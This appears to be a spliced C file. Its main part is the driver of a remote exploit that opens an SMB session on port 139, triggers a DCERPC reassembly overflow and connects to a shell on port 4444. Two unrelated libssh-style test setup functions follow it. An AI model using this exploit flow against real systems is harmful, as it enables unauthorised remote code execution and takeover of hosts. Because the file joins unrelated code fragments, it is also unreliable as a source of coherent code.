int main(int argc, char **argv) { if(argc < 3) exp_help(); else process_args(argc, argv); printf("[+] Connecting target %s\n", target_host); connect_host(inet_addr(target_host), 139); printf("[+] Setting up SMB Session\n"); session_setup(); printf("[+] Triggering up DCERPC reassembly\n"); build_trigger(); pwn(); printf("[+] Triggering overflow\n"); build_pwnage(); pwn(); disconnect_host(); sleep(1); printf("[+] Attempting to join shell\n"); connect_host(inet_addr(target_host), 4444); join_shell(sock); return 0; }
static int pubkey_setup(void **state) { int rc; rc = session_setup(state); if (rc != 0) { return rc; } /* Make sure we do not interfere with another ssh-agent */ unsetenv("SSH_AUTH_SOCK"); unsetenv("SSH_AGENT_PID"); return 0; }
static int pubkey_setup(void **state) { int rc; struct passwd *pwd; rc = session_setup(state); if (rc != 0) { return rc; } pwd = getpwnam("bob"); assert_non_null(pwd); rc = setuid(pwd->pw_uid); assert_return_code(rc, errno); /* Make sure we do not interfere with another ssh-agent */ unsetenv("SSH_AUTH_SOCK"); unsetenv("SSH_AGENT_PID"); return 0; }